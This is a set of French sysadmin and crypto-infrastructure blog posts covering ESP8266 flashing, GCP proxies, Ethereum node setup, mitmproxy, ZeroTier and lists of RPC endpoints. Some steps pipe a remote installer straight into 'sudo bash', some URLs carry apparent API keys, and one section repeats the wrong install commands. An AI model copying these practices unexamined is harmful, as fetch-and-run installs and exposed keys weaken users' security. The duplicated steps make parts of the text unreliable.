  delay(5000);              
  digitalWrite(PIN_LED, HIGH);
  digitalWrite(PIN_RELAY, HIGH);
  delay(5000);
}

Comment j’ai choisi ces PINs ?
Via la seule doc que j’ai trouvé, mais bien utile!

Compilation/Upload

On clique sur Upload et si tout est bien branché et configuré, vous pourrez voir ces logs dans la console output d’Arduino:

Executable segment sizes:

ICACHE : 32768           - flash instruction cache 

IROM   : 231788          - code in flash         (default or ICACHE_FLASH_ATTR) 

IRAM   : 26793   / 32768 - code in IRAM          (IRAM_ATTR, ISRs...) 

DATA   : 1496  )         - initialized variables (global, static) in RAM/HEAP 

RODATA : 876   ) / 81920 - constants             (global, static) in RAM/HEAP 

BSS    : 25608 )         - zeroed variables      (global, static) in RAM/HEAP 

Sketch uses 260953 bytes (24%) of program storage space. Maximum is 1044464 bytes.
Global variables use 27980 bytes (34%) of dynamic memory, leaving 53940 bytes for local variables. Maximum is 81920 bytes.
esptool.py v3.0
Serial port COM3
Connecting....
Chip is ESP8266EX
Features: WiFi
Crystal is 26MHz
MAC: bc:ff:4d:f9:76:7a
Uploading stub...
Running stub...
Stub running...
Configuring flash size...
Auto-detected Flash size: 4MB
Compressed 265104 bytes to 195077...
Writing at 0x00000000... (8 %)
Writing at 0x00004000... (16 %)
Writing at 0x00008000... (25 %)
Writing at 0x0000c000... (33 %)
Writing at 0x00010000... (41 %)
Writing at 0x00014000... (50 %)
Writing at 0x00018000... (58 %)
Writing at 0x0001c000... (66 %)
Writing at 0x00020000... (75 %)
Writing at 0x00024000... (83 %)
Writing at 0x00028000... (91 %)
Writing at 0x0002c000... (100 %)
Wrote 265104 bytes (195077 compressed) at 0x00000000 in 17.7 seconds (effective 120.1 kbit/s)...
Hash of data verified.

Leaving...
Hard resetting via RTS pin...

Une fois votre code compilé et uploadé sur l’esp, retirer le cable entre IO0 et GND et cliquer sur le bouton reset sur la board. Et voilà, le relais et une LED vont s’activer et se désactiver toutes les 5s.

Drivers pour OSX

Pour OSX, j’ai utilisé le driver PL2303HXD_G_Mac Driver_v2.1.0_20210311.zip disponible sur https://www.prolific.com.tw/US/ShowProduct.aspx?p_id=229&pcid=41

Dans cet article très rapide nous allons voir comment activer l’IP forwarding sur une instance GCP déjà créée. L’idée est d’éviter de l’effacer et de la recréer comme on peut le voir dans trop d’articles

Exporter la config de votre VM

./gcloud compute instances export instance-name \
    --project VOTRE-PROJET \
    --zone LA-ZONE-CONTENANT-VOTRE-VM \
    --destination=instance-name_export

Modification de la config exportéee

Editer le fichier instance-name_export et changer canIpForward: false par canIpForward: true

Update de votre instance

./gcloud compute instances update-from-file instance-name \
    --project VOTRE-PROJET \
    --zone LA-ZONE-CONTENANT-VOTRE-VM \
    --source=instance-name_export

Pour créer un Zip protégé par mot de passe sur OSX et sans outil supplémentaire, il suffit d’exécuter la commande suivante: zip -er archive.zip dossier

Et voilà c’est tout. L’article de l’année ! 😜

Dans cet article très rapide nous allons voir comment créer une proxy SOCKS ou HTTP via une instance Google Cloud. On va juste utiliser le cli gcloud et un binaire open source.

Lancement du proxy Socks

Récupérer l’ID de son instance ./gcloud compute instances list

cd PATH_TO_GCLOUD_SI_PAS_DANS_$PATH
export PORT_DU_PROXY=
./gcloud compute ssh NOM_DE_VOTRE_INSTANCE --project NOM_DE_VOTRE_PROJET --zone LA_ZONE_QUI_CONTIENT_VOTRE_INSTANCE --ssh-flag="-D" --ssh-flag="$PORT_DU_PROXY" --ssh-flag="-N"

Vérification

curl --socks5 127.0.0.1:$PORT_DU_PROXY https://ipinfo.io/ip

Besoin d’un proxy http ?

Pas de souci, vous pouvez utiliser le projet Rust suivant https://github.com/KaranGauswami/socks-to-http-proxy (licence MIT) qui convertit votre proxy SOCKS en proxy HTTP. Vous pouvez aussi utiliser le fork que j’ai créé oeeckhoutte/socks-to-http-proxy. Je n’ai pas détecté de vulnérabilité jusqu’au commit 3323c5809b38db4425ae11b935651e8abccf4875 (commit de mon fork)

git clone https://github.com/KaranGauswami/socks-to-http-proxy # ou oeeckhoutte/socks-to-http-proxy
cd socks-to-http-proxy
cargo build --release
cargo install cargo-audit
cargo audit
cd ~/Dev/Leandeep/socks-to-http-proxy/target/release

# J'ai analysé le code à la recherche de faille applicative et je n'ai rien trouvé. J'ai aussi modifié le code pour changer quelques options: interface d'écoute et ports par défaut (modifs non poussées).
./sthp

Seconde vérification

curl --proxy localhost:PORT_HTTP_PROXY https://ipinfo.io/ip

Configurer tout le terminal

On exécute les 2 commandes suivantes pour que tout le terminal utilise le proxy http

export http_proxy=http://127.0.0.1:8090
export https_proxy=http://127.0.0.1:8090

Vérifications

• curl https://ipinfo.io/ip -> OK
• python3 -c "import json; import urllib.request; url_data='https://ipinfo.io/ip'; webURL = urllib.request.urlopen(url_data); data = webURL.read(); print(data)" -> OK

Dans cet article, nous allons voir comment hoster un noeud relais pour Ethereum mainnet après The Merge avec Nethermind sur Ubuntu 22.04.

Cette procédure a été écrite très rapidement quelques heures après la release de The Merge pour remettre d’aplomb mes bots de trading. Désolé d’avance si des erreurs se sont glissées dans cet article.

Installation

On télécharge Nethermind:

mkdir -p /data/eth2-mainnet/{consensus,execution}
cd /data/eth2-mainnet/execution
wget https://github.com/NethermindEth/nethermind/archive/refs/tags/1.13.6.zip
unzip 1.13.6.zip

On installe le client pour le consensus POS:

cd /data/eth2-mainnet/consensus
mkdir prysm && cd $_
curl https://raw.githubusercontent.com/prysmaticlabs/prysm/master/prysm.sh --output prysm.sh && chmod +x prysm.sh

Configuration

On créer un token JWT à coller dans le directory consensus:

# Sur OSX
# On génère un token de 256 bit 32 Byte Hex
python3 -c "import secrets; print(secrets.token_hex(32))" | pbcopy

# On colle le token du presse papier dans ce fichier:
vim /data/eth2-mainnet/consensus/jwt.hex

Démarrage de la couche d’exécution

cd /data/eth2-mainnet/execution/
./Nethermind.Runner --JsonRpc.Enabled true --JsonRpc.EnginePort=8551 --JsonRpc.EngineHost=0.0.0.0 --HealthChecks.Enabled true --HealthChecks.UIEnabled true --JsonRpc.JwtSecretFile=/data/eth2-mainnet/consensus/jwt.hex

Démarrage du noeud relais via Prysm

cd /data/eth2-mainnet/consensus/prysm/
./prysm.sh beacon-chain --execution-endpoint=http://localhost:8551 --jwt-secret=/data/eth2-mainnet/consensus/jwt.hex --suggested-fee-recipient=VOTRE_OU_UNE_CLE_ETHEREUM_PUBLIQUE

Vérification du status de la synchro

curl http://localhost:3500/eth/v1/node/syncing | jq

Vérification la connectivité avec les clients

# Pour l'exécution client:
curl localhost:8545/health

# Pour le relais / consensus:
curl http://localhost:8080/healthz

Dans cet article, nous allons voir comment hoster un noeud light Ethereum mainnet avec Nethermind sur Ubuntu 22.04.

Installation

On commence par installer .NET:

sudo add-apt-repository ppa:nethermindeth/nethermind
sudo apt install nethermind

Ensuite on installer Nethermind:

sudo add-apt-repository ppa:nethermindeth/nethermind
sudo apt install nethermind

Configuration

On créer un répertoire qui contiendra nos data:

mkdir -p /data/eth-mainnet-nethermind

On édite le fichier de configuration /usr/share/nethermind/configs/mainnet.cfg et on autorise les IPs, modules qui nous intéressent. Dans mon cas à titre d’exemple:

{
  "Init": {
    "ChainSpecPath": "chainspec/foundation.json",
    "GenesisHash": "xxx",
    "BaseDbPath": "nethermind_db/mainnet",
    "LogFileName": "mainnet.logs.txt",
    "MemoryHint": 2048000000,
  },
  "Network": {
    "ActivePeersMaxCount": 100
  },
  "Sync": {
    "FastSync": true,
    "SnapSync": true,
    "PivotNumber": 15216000,
    "PivotHash": "xxx",
    "PivotTotalDifficulty": "xxx",
    "FastBlocks": true,
    "AncientBodiesBarrier": 11052984,
    "AncientReceiptsBarrier": 11052984,
    "WitnessProtocolEnabled": true
  },
  "EthStats": {
    "Server": "wss://ethstats.net/api"
  },
  "Metrics": {
    "NodeName": "Mainnet"
  },
  "HealthChecks": {
    "Enabled": true,
    "WebhooksEnabled": true,
    "WebhooksUri": "https://hooks.slack.com/services/...",
    "UIEnabled": true,
    "PollingInterval": 10,
    "Slug": "/api/health"
  },
  "JsonRpc": {
    "Enabled": true,
    "Host": "172.xxx.xxx.xxx",
    "Port": 8545,
    "EnabledModules": ["Eth", "Subscribe", "Trace", "TxPool", "Web3", "Personal", "Proof", "Net", "Parity", "Health"],

  }
}

Run

Aussi simple qu’exécuter cette command

/usr/bin/nethermind --datadir /data/eth-mainnet-nethermind/

Pour vérifier si le noeud est synchronisé:

curl --data '{"method":"eth_syncing","params":[],"id":1,"jsonrpc":"2.0"}' -H "Content-Type: application/json" -X POST 172.xxx.xxx.xxx:8545

Service

On crée un service via la commande:

sudo systemctl edit --force --full neithermind-mainnent-light-mainnet.service

Et on ajoute le contenu suivant

[Unit]
Description=Nethermind Eth Light Mainnet daemon
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
Restart=always
RestartSec=5
ExecStart=/usr/bin/nethermind --datadir /data/eth-mainnet-nethermind/

[Install]
WantedBy=multi-user.target

Et on démarre:

sudo systemctl enable neithermind-mainnent-light-mainnet.service
sudo systemctl start neithermind-mainnent-light-mainnet.service

Voilà that’s all. Next pip install web3 or npm i ethers and we can call a RPC node directly. C’est bien suffisant pour certains besoins.

Sync duration: ~5h

Logs: journalctl -fu neithermind-mainnent-light-mainnet

Installation de Docker sur Ubuntu 22.04

sudo apt update
sudo apt install -y ca-certificates curl gnupg lsb-release

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null


sudo apt-get update
sudo apt install docker-ce docker-ce-cli containerd.io -y
sudo usermod -aG docker $USER
newgrp docker

Vérification de l’installation de Docker

docker version

Démarrage du proxy mitm sur VM distante

tmux
docker run --rm -it -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy -p 8080:8080 mitmproxy/mitmproxy
# ou mieux, binding sur machine locale:
docker run --rm -it -v ~/.mitmproxy:/home/mitmproxy/.mitmproxy -p 127.0.0.1:8080:8080 mitmproxy/mitmproxy

Vérification du bon fonctionnement de votre proxy sur VM distante

https_proxy=http://localhost:8080/ curl http://example.com/
https_proxy=http://localhost:8080/ curl -k https://example.com/

Vérification depuis un autre host du bon fonctionnement du proxy

https_proxy=http://PUBLIC_IP:8080/ curl -k https://example.com/

Dans cet article, nous allons voir comment créer un blog headless à partir de Ghost en moins de 5 minutes. Des bonnes performances (pas de rendering nécessaire), pas besoin de serveur payant (juste un hosting de static content) et on garde la simplicité d’édition (authoring) via Ghost.

Installer Ghost

npm install ghost-cli@latest -g

Démarrer/créer un blog ghost

ghost install local

Nouveau thème

Télécharger le fichier zip contenant un thème custom: https://github.com/eddiesigner/liebling/releases

Démo de ce thème

Puis uploader le zip sur l’interface admin du blog http://127.0.0.1:2368/ghost et activer le nouveau thème.

Générer un site statique

Installer ce package:

npm install -g ghost-static-site-generator

Puis générer le contenu statique en exécutant la commande suivante depuis le dossier root du blog:

gssg

Test

Test du site statique via le package

cd static/
http-server .

Résultat pour un blog sur la micronutrition perso réalisé en 12 minutes (5 minutes de création de blog et 7 minutes pour écrire ce petit article):

Démarrer un blog (arrêté) existant

ghost start

Dans cet article, nous allons voir comment installer Argo workflow localement sur OSX. Il s’agit d’une installation très simple utilisant Docker-desktop et Kubernetes. Cette installation n’est pas recommandée pour de la production. Elle permet de tester et d’évaluer l’outil ou de simplement créer/développer des workflows depuis votre poste local.

Installer Argo Cli

curl -sLO https://github.com/argoproj/argo-workflows/releases/download/v3.2.6/argo-darwin-amd64.gz
gunzip argo-darwin-amd64.gz
chmod +x argo-darwin-amd64
mv ./argo-darwin-amd64 /usr/local/bin/argo
argo version

Déploiement d’Argo sur k8s

kubectl create ns argo
kubectl apply -n argo -f https://raw.githubusercontent.com/argoproj/argo/stable/manifests/quick-start-postgres.yaml

Accès l’interface

kubectl -n argo port-forward deployment/argo-server 2746:2746

Déploiement d’un worklow de test

argo submit -n argo --watch https://raw.githubusercontent.com/argoproj/argo/master/examples/hello-world.yaml

Debugging

argo list -n argo
argo get -n argo @latest
argo logs -n argo @latest

openssl x509 -enddate -noout -in server.crt

Vérifier la date de validité d’un service distant

openssl s_client -servername www.leandeep.com -connect www.leandeep.com:443

Renouveler le CSR à partir de la clé privée

csr pour Certificate Signing Request

openssl req -new -key star_leandeep_com-private-key.key -out csr.txt

Algorand

Providers

• Pocket Network - https://mainnet.portal.pokt.network
• Quicknode - https://www.quicknode.com/

Own node

• https://developer.algorand.org/docs/run-a-node/setup/install/

Aurora

Providers

• Infura - https://infura.io

Public Endpoints

• https://mainnet.aurora.dev

Own node

• https://doc.aurora.dev/#running-your-own-aurora-node

Cronos

Public Endpoints

• https://rpc.artemisone.org/cronos
• https://evm.cronos.org/
• https://rpc.vvs.finance/
• https://rpc.crodex.app/
• https://mmf-rpc.xstaking.sg
• https://gateway.nebkas.ro/

Chain Id 25

Currency CRO

Explorer

• https://cronos.org/explorer/

KuCoin

Public Endpoints

• https://rpc-mainnet.kcc.network/

Own node

• https://docs.kcc.io/#/en-us/?id=node

Near

Providers

• ANKR - https://ankr.com
• Infura - https://infura.io

Public Endpoints

• https://rpc.ankr.com/near
• https://near.public-rpc.com

Own node

• https://near-nodes.io/rpc/hardware-rpc#recommended-hardware-specifications

IoTeX

Providers

• Pocket Network - https://mainnet.portal.pokt.network
• ANKR - https://ankr.com

Public Endpoints

• https://iotex-mainnet.gateway.pokt.network/v1/lb/6176f902e19001003499f492
• https://rpc.ankr.com/iotex
• https://iotexrpc.com

Own node

• https://github.com/iotexproject/iotex-bootstrap

Tezos

Providers

• Chainstack - https://chainstack.com/build-better-with-tezos/

Public Endpoints

• https://mainnet.api.tez.ie
• https://rpc.tzbeta.net/

Own node

• https://opentezos.com/deploy-a-node

TomoChain

Public Endpoints

• https://rpc.tomochain.com

Websocket

• wss://ws.tomochain.com

Own node

• https://docs.tomochain.com/masternode-and-dex/masternode

wget https://dl.google.com/go/go1.18.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.18.linux-amd64.tar.gz

Editer ~/.profile et ajouter les commandes suivantes

export PATH=$PATH:/usr/local/go/bin
export GOPATH="${HOME}/.go/bin"
export PATH=$GOPATH:$PATH

source ~/.profile

go version

Installation Erigon

cd /data/
git clone --recurse-submodules -j8 https://github.com/ledgerwatch/erigon.git
cd erigon
make erigon

Run

Polygon

mkdir /data/bor-mainnet
./build/bin/erigon --datadir="/data/bor-mainnet" --chain=bor-mainnet --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon

BSC

Archive Node:

mkdir /data/bsc
./build/bin/erigon --datadir="/data/bsc" --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon

Pruned Node:

./build/bin/erigon --datadir="/data/bsc-prune" --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon --prune.h.older=90_000

# Or

./build/bin/erigon --datadir="/data/bsc-prune" --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon --prune.r.before=11184524 --prune htc

Service BNB Smart Chain

Exécuter la commande suivante sudo systemctl edit --force --full erigon-bsc-pruned-mainnet.service pour créer un nouveau systemctl unit puis ajouter le contenu suivant (à titre d’example):

[Unit]
Description=Erigon BSC Pruned mainnet daemon
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
Restart=always
RestartSec=5
ExecStart=/home/olivier/Dev/erigon/build/bin/erigon --datadir="/data/bsc-prune" --chain=bsc --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon --prune.r.before=11184524 --prune htc

[Install]
WantedBy=multi-user.target

Activer le service via les commandes:

sudo systemctl enable erigon-bsc-pruned-mainnet.service
sudo systemctl start erigon-bsc-pruned-mainnet.service
sudo systemctl status erigon-bsc-pruned-mainnet.service

Pour voir les logs il suffit d’exécuter la commande suivante journalctl -fu erigon-bsc-pruned-mainnet.

Ethereum

mkdir /data/ethereum
./build/bin/erigon --datadir="data/ethereum" --chain=mainnet --port=30303 --http.port=8545 --torrent.port=42069 --private.api.addr=127.0.0.1:9090 --http --ws --http.api=eth,debug,net,trace,web3,erigon

Exploitation

Tout est écrit dans cette documentation: RPC Daemon

curl -s https://install.zerotier.com | sudo bash
curl -s 'https://raw.githubusercontent.com/zerotier/ZeroTierOne/master/doc/contact%40zerotier.com.gpg' | gpg --import && \
if z=$(curl -s 'https://install.zerotier.com/' | gpg); then echo "$z" | sudo bash; fi
sudo apt update
sudo apt install -y zerotier-one

Configuration

Récupérer votre network_id sur https://my.zerotier.com/ puis connecter votre serveur à votre réseau.

sudo zerotier-cli join <network_id>

Retourner sur https://my.zerotier.com/ pour autoriser le nouveau noeud ajouté à accéder à votre réseau.

Editer /etc/ssh/sshd_config et remplacer ListenAddress 0.0.0.0 par ListenAddress IP_DE_VOTRE_RANGE pour sécuriser davantage votre serveur SSH.

Vérification

sudo zerotier-cli status

Stopper le service

systemctl status zerotier-one
systemctl stop zerotier-one
sudo systemctl disable zerotier-one

• Arbitrum
• Avalanche
• BNB Smart Chain (BSC)
• Celo
• Ethereum
• Fantom
• Fuse
• Gnosis (xDAI)
• Harmony (Mainnet Shard 0)
• Moonriver
• Optimism
• Polygon
• Solana

Arbitrum

Providers

• Alchemy - https://www.alchemy.com
• ANKR - https://ankr.com
• Moralis - https://moralis.io
• QuickNode - https://www.quicknode.com/
• Infura - https://infura.io

Public Endpoints

• https://arb1.arbitrum.io/rpc
• https://arbitrum.public-rpc.com
• https://rpc.ankr.com/arbitrum

Chain Id 42161

Currency ETH

Explorer

• https://arbiscan.io/
• https://explorer.arbitrum.io/

Avalanche (C-Chain)

Providers

• AllNodes - https://www.allnodes.com
• Ankr - https://ankr.com
• Chainstack - https://chainstack.com/build-better-with-avalanche/
• Figment Datahub - https://datahub.figment.io/
• Moralis - https://moralis.io
• Pocket Network - https://mainnet.portal.pokt.network
• Quicknode - https://www.quicknode.com/

Public Endpoints

• https://api.avax.network/ext/bc/C/rpc
• https://ava-mainnet.public.blastapi.io/ext/bc/C/rpc
• https://avalanche.public-rpc.com
• https://avax.rpcgator.com/ - RPC Agreggator / Gateway
• https://rpc.ankr.com/avalanche

Own node

• https://docs.avax.network/build/tutorials/nodes-and-staking/run-avalanche-node

Chain ID 43114

Currency AVAX

Explorer

• https://explorer.avax.network/

BNB Smart Chain (BSC)

Providers

• ANKR - https://ankr.com
• Chainstack - https://chainstack.com/build-better-with-binance-smart-chain/
• Figment Datahub - https://datahub.figment.io/
• GetBlock - https://getblock.io
• Moralis - https://moralis.io
• Pocket Network - https://mainnet.portal.pokt.network
• QuickNode - https://www.quicknode.com

Public Endpoints

• https://bsc-dataseed.binance.org
• https://bsc-dataseed1.defibit.io
• https://bsc-dataseed1.ninicoin.io/
• https://bsc-dataseed1.binance.org
• https://bsc-dataseed2.binance.org
• https://bsc-dataseed3.binance.org
• https://bsc-dataseed4.binance.org
• https://bsc-dataseed1.defibit.io
• https://bsc-dataseed2.defibit.io
• https://bsc-dataseed3.defibit.io
• https://bsc-dataseed4.defibit.io
• https://bsc-dataseed1.ninicoin.io
• https://bsc-dataseed2.ninicoin.io
• https://bsc-dataseed3.ninicoin.io
• https://bsc-dataseed4.ninicoin.io
• https://rpc-bsc.bnb48.club
• https://binance.nodereal.io
• https://rpc.ankr.com/bsc
• https://bsc-mainnet.nodereal.io/v1/64a9df0874fb4a93b9d0a3849de012d3
• https://bscrpc.com

WebSocket

• wss://bsc-mainnet.nodereal.io/ws/v1/64a9df0874fb4a93b9d0a3849de012d3
• wss://bsc-ws-node.nariox.org

Own node

• https://docs.binance.org/smart-chain/developer/fullnode.html

Chain ID 56

Currency BNB

Block Explorer URL

• https://bscscan.com

Celo

Providers

• ANKR - https://ankr.com
• QuickNode - https://www.quicknode.com/

Public Endpoints

• https://forno.celo.org
• https://rpc.ankr.com/celo

Websockets

• wss://forno.celo.org/ws

Own node

• https://docs.celo.org/getting-started/mainnet/running-a-full-node-in-mainnet

Chain ID 42220

Currency CELO

Block Explorer URL

• https://explorer.celo.org/
• https://celoscan.io/

Ethereum

Providers

• Alchemy - https://www.alchemy.com
• AllNodes - https://www.allnodes.com
• Amazon Managed Blockchain - https://aws.amazon.com/managed-blockchain
• Ankr - https://ankr.com
• ArchiveNode - https://archivenode.io/
• Chainstack - https://chainstack.com/build-better-with-ethereum/
• Figment Datahub - https://datahub.figment.io/
• Infura.io - https://infura.io
• Moralis - https://moralis.io
• Pocket Network - https://mainnet.portal.pokt.network
• QuickNode - https://www.quicknode.com
• 0x - https://0x.org
• ZMOK - https://zmok.io/

Public Endpoints

• https://api.mycryptoapi.com/eth
• https://cloudflare-eth.com
• https://eth-mainnet.public.blastapi.io
• https://eth-mainnet.gateway.pokt.network/v1/5f3453978e354ab992c4da79
• https://eth-mainnet.nodereal.io/v1/1659dfb40aa24bbb8153a677b98064d7
• https://eth-rpc.gateway.pokt.network
• https://ethereumnodelight.app.runonflux.io
• https://main-light.eth.linkpool.io
• https://main-rpc.linkpool.io
• https://mainnet.eth.cloud.ava.do/
• https://mainnet-nethermind.blockscout.com/
• https://rpc.ankr.com/eth
• https://rpc.flashbots.net/

Websockets

• wss://eth-mainnet.nodereal.io/ws/v1/1659dfb40aa24bbb8153a677b98064d7

Own node

• https://ethereum.org/en/developers/docs/nodes-and-clients/run-a-node/
• https://www.quicknode.com/guides/infrastructure/how-to-run-a-openethereum-ex-parity-client-node
• https://www.quicknode.com/guides/infrastructure/how-to-install-and-run-a-geth-node

Chain Id 1

Currency ETH

Explorer

• https://etherscan.io/

Fantom

Providers

• QuickNode - https://www.quicknode.com
• ANKR - https://ankr.com
• Moralis - https://moralis.io
• Chainstack - https://chainstack.com/build-better-with-fantom/

Public Endpoints

• https://fantom-mainnet.gateway.pokt.network/v1/lb/62759259ea1b320039c9e7ac
• https://fantom-mainnet.public.blastapi.io
• https://ftm.rpcgator.com/ (Gateway)
• https://rpc.ankr.com/fantom
• https://rpc.fantom.network
• https://rpc.ftm.tools/
• https://rpc2.fantom.network
• https://rpc3.fantom.network
• https://rpcapi.fantom.network

WebSocket

• wss://wsapi.fantom.network

Own node

• https://docs.fantom.foundation/staking/how-to-run-a-validator-node

Chain Id 250

Currency FTM

Explorer

• https://ftmscan.com/
• https://explorer.fantom.network/

Fuse

Providers

• https://mainnet.portal.pokt.network

Public Endpoints

• https://fuse-rpc.gateway.pokt.network/
• https://rpc.fuse.io

Own node

• https://developers.fuse.io/fuse-dev-docs/network/how-to-run-network-nodes

Chain Id 122

Currency FUSE

Explorer

• https://explorer.fuse.io/

Gnosis (xDAI)

Providers

• ANKR - https://ankr.com
• GetBlock - https://getblock.io
• Pocket Network - https://mainnet.portal.pokt.network
• QuickNode - https://www.quicknode.com

Own node

• https://docs.gnosischain.com/validator-info/get-started-node-setup

Public Endpoints

• https://gnosis-mainnet.public.blastapi.io
• https://gnosis.public-rpc.com
• https://rpc.ankr.com/gnosis
• https://rpc.gnosischain.com
• https://rpc.xdaichain.com
• https://xdai-archive.blockscout.com
• https://xdai-rpc.gateway.pokt.network
• https://xdai.poanetwork.dev
• https://xdai-rpc.gateway.pokt.network

WebSocket

• wss://rpc.gnosischain.com/wss

Chain Id 100

Currency xDAI

Explorer

• https://blockscout.com/xdai/mainnet/
• https://explorer.poa.network/poa/xdai/

Harmony (Mainnet Shard 0)

Providers

• Chainstack - https://chainstack.com/build-better-with-harmony/
• Pocket Network - https://mainnet.portal.pokt.network

Own node

• https://docs.harmony.one/home/network/validators/node-setup

Public Endpoints

• https://a.api.s0.t.hmny.io
• https://api.harmony.one
• https://api.s0.t.hmny.io
• https://harmony.public-rpc.com
• https://harmony-0-rpc.gateway.pokt.network
• https://harmony-mainnet.chainstacklabs.com

WebSocket

• wss://ws.s0.t.hmny.io
• wss://ws-harmony-mainnet.chainstacklabs.com

Chain Id 1666600000

Currency ONE

Explorer

• https://explorer.harmony.one/

Moonriver

Public Endpoints

• https://moonriver.api.onfinality.io/public
• https://moonriver.api.onfinality.io/rpc?apikey=673e1fae-c9c9-4c7f-a3d5-2121e8274366
• https://moonriver.public.blastapi.io
• https://rpc.api.moonriver.moonbeam.network

Own node

https://docs.moonbeam.network/node-operators/networks/run-a-node/

Websocket

• wss://wss.api.moonriver.moonbeam.network

Chain Id 1285

Currency MOVR

Explorer

• https://blockscout.moonriver.moonbeam.network/
• https://moonriver.moonscan.io/

Optimism Ethereum

Providers

• Ankr - https://ankr.com
• QuickNode - https://www.quicknode.com/
• Infura - https://infura.io

Public Endpoints

• https://mainnet.optimism.io/
• https://optimism-mainnet.public.blastapi.io
• https://rpc.ankr.com/optimism

Chain Id 10

Currency ETH

Explorer

• https://optimistic.etherscan.io/

Polygon

Providers

• AllNodes - https://www.allnodes.com
• Ankr - https://ankr.com
• Chainstack - https://chainstack.com
• Figment Datahub - https://datahub.figment.io/
• Infura.io - https://infura.io
• MaticVigil - https://maticvigil.com
• Moralis - https://moralis.io
• Pocket Network - https://mainnet.portal.pokt.network
• QuickNode - https://www.quicknode.com

Public Endpoints

• https://matic-mainnet-archive-rpc.bwarelabs.com
• https://matic-mainnet.chainstacklabs.com
• https://matic-mainnet-full-rpc.bwarelabs.com
• https://poly-rpc.gateway.pokt.network/
• https://polygon-rpc.com
• https://rpc.ankr.com/polygon
• https://rpc-mainnet.matic.network
• https://rpc-mainnet.matic.quiknode.pro
• https://rpc-mainnet.maticvigil.com

WebSocket

• wss://rpc-mainnet.matic.network
• wss://rpc-mainnet.matic.quiknode.pro
• wss://rpc-mainnet.maticvigil.com/ws
• wss://ws-matic-mainnet.chainstacklabs.com

Own node

• https://docs.polygon.technology/docs/validate/validate/getting-started

Chain Id 137

Currency MATIC

Explorer

• https://polygonscan.com/

Solana

Providers:

• Chainstack - https://chainstack.com/build-better-with-solana/
• Figment Datahub - https://datahub.figment.io/
• Pocket Network - https://mainnet.portal.pokt.network
• Quicknode - https://www.quicknode.com/

Public Endpoints

• https://api.mainnet-beta.solana.com
• https://rpc.ankr.com/solana
• https://solana-api.projectserum.com

Own node

• https://docs.solana.com/running-validator

Doc

• https://docs.solana.com/cluster/rpc-endpoints

Pour le moment, et jusqu’à ce qu’on passe en version 2, je n’utilise plus Ethereum à cause de gas fees qui rendent les trades moins intéressants.

Bien sûr il y en a plein d’autres et sur des tas de blockchains différentes. (Et il n’y a pas que les blockchains EVM qui offrent des opportunités de trading…)

• Arbitrum
• Avalanche
• BNB Smart Chain (BSC)
• Celo
• Cronos
• Ethereum
• Fantom
• Fuse
• Gnosis (xDAI)
• Harmony (Mainnet Shard 0)
• Moonriver
• Optimism
• Polygon
• Solana

Arbitrum (usage en preprod)

• Uniswap (v3) - https://info.uniswap.org/
  Factory: 0x1F98431c8aD98523631AE4a59f267346ea31F984
  Router: 0xE592427A0AEce92De3Edee1F18E0157C05861564

BNB Smart Chain (BSC)

• ApeSwap (v2) - https://apeswap.finance/
  Factory: 0x0841BD0B734E4F5853f0dD8d7Ea041c241fb0Da6
  Router: 0xcF0feBd3f17CEf5b47b0cD257aCf6025c5BFf3b7
  Fees: 0.1%

• BabySwap (v2) - https://home.babyswap.finance/
  Factory: 0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da
  Router: 0x325E343f1dE602396E256B67eFd1F61C3A6B38Bd
  Fees: 0.3%

• Biswap (v2) - https://biswap.org/
  Factory: 0x858E3312ed3A876947EA49d572A7C42DE08af7EE
  Router: 0x3a6d8cA21D1CF76F653A67577FA0D27453350dD8
  Fees: 0.2%

• Eros Swap (custom v2) - https://bsc.erosswap.finance/
  Factory & Router: 0x3CD1C46068dAEa5Ebb0d3f55F6915B10648062B8
  Fees: 0% how? 0.1% maybe?

• FSTSwap (v2) - https://www.fstswap.pro/
  Factory: 0x9A272d734c5a0d7d84E0a892e891a553e8066dce
  Router: 0x1B6C9c20693afDE803B27F8782156c0f892ABC2d
  Fees: 0.3%

• GIBX Swap (removed) - https://gibxswap.io/
  Factory: 0x97bCD9BB482144291D77ee53bFa99317A82066E8

• Jetswap (v2) - https://jetswap.finance/
  Factory: 0x0eb58E5c8aA63314ff5547289185cC4583DfCBD5
  Router: 0xBe65b8f75B9F20f4C522e0067a3887FADa714800
  Fees: 0.3%

• JustLiquidity (v2) - https://justliquidity.org/
  Factory: 0x553990F2CBA90272390f62C5BDb1681fFc899675
  Router: 0xbd67d157502A23309Db761c41965600c2Ec788b2
  Fees: mêmes que Uniswap: 0.05%;0.3%;1%

• Nomiswap (**≠**v2) - https://nomiswap.io/
  Factory: 0xd6715A8be3944ec72738F0BFDC739d48C3c29349
  Router: 0xC471647c2c0fFe4E59E8841d5ce1726D052A2d17
  Fees: 0.1%

• Pancakeswap (v2) - https://pancakeswap.finance/
  Factory: 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73
  Router: 0x10ED43C718714eb63d5aA57B78B54704E256024E
  Fees: 0.30%

Cronos

• CyborgSwap (v2) - https://cyborgswap.io/
  Factory: 0x6C50Ee65CFcfC59B09C570e55D76daa7c67D6da5
  Router: 0x5bFc95C3BbF50579bD57957cD074fa96a4d5fF9F
  Fees: 0.25%

• MM Finance (v2) - https://mm.finance/
  Factory: 0xd590cC180601AEcD6eeADD9B7f2B7611519544f4
